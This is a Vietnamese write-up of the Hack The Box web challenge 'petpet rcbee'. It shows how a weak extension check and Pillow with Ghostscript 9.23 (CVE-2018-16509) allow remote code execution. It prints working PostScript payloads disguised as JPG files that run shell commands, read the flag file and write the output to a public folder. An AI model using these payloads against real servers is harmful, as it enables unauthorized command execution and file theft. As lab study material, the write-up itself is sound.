# [HTB] petpet rcbee Writeup ## Giới thiệu ![](https://hackmd.io/_uploads/BJ7E0ZyC2.png) Mở mắt ra là mấy con ong với và đây là một web challenge được viết bằng python. Vọc sơ tính năng thì mình thấy có đúng 1 tính năng duy nhất là upload ảnh lên thôi. Nên là bây giờ mình cần đọc xem source có thứ gì hay ho để mình liệt kê ra khum ## Mục tiêu và đối tượng 1. Mục tiêu 1. Flag là file nằm trên máy chủ victim chứ không nằm trong source như các lab HTB khác 2. Đối tượng đáng ngờ 1. hàm allowed_file bởi vì mình có thể bypass nó một cách dễ dàng khi chỉ kiểm tra các kí tự sau dấu chấm cuối cùng 2. PIL vs Ghostscript v9.23 (tồn tại CVE về vấn đề này, link sẽ để ở dưới) Với những dữ kiện trên thì mình sẽ có hướng đi là tạo một file nào đó tận dụng CVE để RCE và đọc file flag, có thể là file ảnh hoặc không. ## Thực hiện Đọc code thì mình thấy đầu tiên sẽ check xem file có tồn tại hay không và có tên file không, ![](https://hackmd.io/_uploads/Hk1r0Z1Rn.png) xong sẽ dùng hàm allowed_file để check extension, ![](https://hackmd.io/_uploads/BJPHRW1C2.png) rồi sẽ tạo file trên máy chủ, ![](https://hackmd.io/_uploads/HykLCZ1R3.png) rồi mở file, xong rồi xóa file đó. ![](https://hackmd.io/_uploads/r1OUCbk0h.png) Dựa trên CVE mà mình kiếm được [PIL RCE CVE-2018-16509](https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509) thì mình có thể tạo một file JPG giả chứa script để Image từ PIL mở nó và RCE. Mình cũng kiếm được payload từ link đó và sửa lại thì được ``` %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: -0 -0 100 100 userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%ls -al) currentdevice putdeviceprops ``` Tạo file chứa script trên và đặt tên với extension là jpg Upload thành công nhưng vấn đề là chưa kiếm ra ảnh mình nằm đâu ![](https://hackmd.io/_uploads/ry-vRb10n.png) Đọc code thì mình thấy ``` f'static/petpets/{filename}' ``` Ảnh thường sẽ nằm ở folder này public ra ngoài Nên mình sẽ thử craft lại có tạo ra được file ra ngoài đường dẫn đó không ``` %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: -0 -0 100 100 userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%ls -al > application/static/petpets/hack.txt) currentdevice putdeviceprops ``` ``` /static/petpets/hack.txt ``` Vào theo đường dẫn trên thì cuối cùng mình cũng đọc được file và thấy flag ![](https://hackmd.io/_uploads/HyowCZJRh.png) Bây h tạo script để cat flag đó thì xong lab ``` %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: -0 -0 100 100 userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%cat flag > application/static/petpets/hack.txt) currentdevice putdeviceprops ``` POST và vào lại đường link cũ thì flag đây nè ![](https://hackmd.io/_uploads/SJrdCZJRn.png)